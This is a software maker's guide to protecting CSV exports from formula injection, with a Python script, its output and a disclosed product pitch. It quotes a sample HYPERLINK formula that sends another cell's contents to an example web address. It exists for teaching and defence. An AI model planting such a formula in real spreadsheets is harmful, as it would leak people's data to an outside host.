PoppyOS

Home › Guides

How to make a CSV file safe to open in Excel

A CSV file is plain text, but a spreadsheet does not treat it that way. When Excel, Google Sheets or LibreOffice opens a CSV, a cell that starts with = is read as a formula. So are cells starting with +, - or @, and a leading tab or carriage return can have the same effect. This is known as CSV injection or formula injection (OWASP description).

Why it matters

Most CSV files you open were filled in by other people: sign-up forms, shop orders, survey answers, CRM exports. Anyone who can type into one of those fields can type a formula. When you open the export, the spreadsheet may evaluate it. A formula can show a misleading value, build a link that carries data from other cells to a web address, or, in older setups, try to start other programs. Spreadsheets usually show a warning for the most dangerous cases, but the safest file is one where nothing is read as a formula at all.

The usual fix: a leading apostrophe

The common defence, and the one OWASP describes, is to put a single quote (') in front of any cell that starts with one of those characters. The spreadsheet then reads the cell as text instead of running it. In our test in LibreOffice Calc 26.8, with formula evaluation on, a file protected this way produced no formulas when it was opened, saved as CSV and reopened, and the apostrophe stayed visible in the cell. We have not yet tested Microsoft Excel, which may display the apostrophe differently.

Cell in the exportAfter neutralising
=HYPERLINK("http://…"&B2,"Click")'=HYPERLINK("http://…"&B2,"Click")
@SUM(1+1)'@SUM(1+1)
+44 20 7946 0000'+44 20 7946 0000
-5 or +3.5 (plain numbers)unchanged

Two trade-offs to know about. Plain numbers such as -5 are usually left alone, so negative amounts stay numbers. Values like phone numbers that begin with + do get the apostrophe. And the apostrophe is a real character in the file: another program that reads the CSV (a database import, a script) will see it, so neutralise the copy you open or share, not the copy you feed into other systems.

Do it with Python

This reads every value as text, adds the apostrophe where needed, leaves plain numbers alone, and writes a new file. It uses only the standard library. The sample file export.csv contains a hyperlink formula, an @SUM formula, a phone number, a plain positive number and a value in scientific notation.

import csv, re

risky = re.compile(r"^[=+\-@\t\r]")
number = re.compile(r"^[+-]?(\d+(\.\d+)?|\.\d+)$")

def safe(value):
    return "'" + value if risky.match(value) and not number.match(value) else value

with open("export.csv", newline="", encoding="utf-8-sig") as src:
    rows = [[safe(v) for v in row] for row in csv.reader(src)]

with open("export-safe.csv", "w", newline="", encoding="utf-8-sig") as dst:
    csv.writer(dst).writerows(rows)

for row in rows:
    print(row)
['Name', 'Comment', 'Amount']
['Ann', '\'=HYPERLINK("http://example.com/?x="&B2,"Click")', '-5']
['Bob', "'@SUM(1+1)", '+3.5']
['Cy', "'+44 20 7946 0000", '12']
['Dee', "'-1e3", '7']

Numbers in scientific notation (such as -1e3) do not match the number pattern, so they get the apostrophe too, as the last row shows. Adjust the pattern if your data uses them.

Before you open a file you don't trust

Offline CSV Cleaner does this as part of cleaning: it removes duplicate rows and, with the "protect formula-like values" option (on by default), adds the apostrophe to formula-like values in both output files, leaving plain numbers alone. It is a single HTML file that runs in your browser and cannot use the network. Try the free demo (full results for files up to 200 rows), or get the full version for USD 15. Disclosure: this guide is published by the maker of Offline CSV Cleaner.

Last updated 2026-10-27. Code on this page was run on that date and the output shown is the real output. Spreadsheet menu steps are written from Microsoft's and Google's documented behaviour; where we have not run something ourselves, the page says so.

More guides

All guides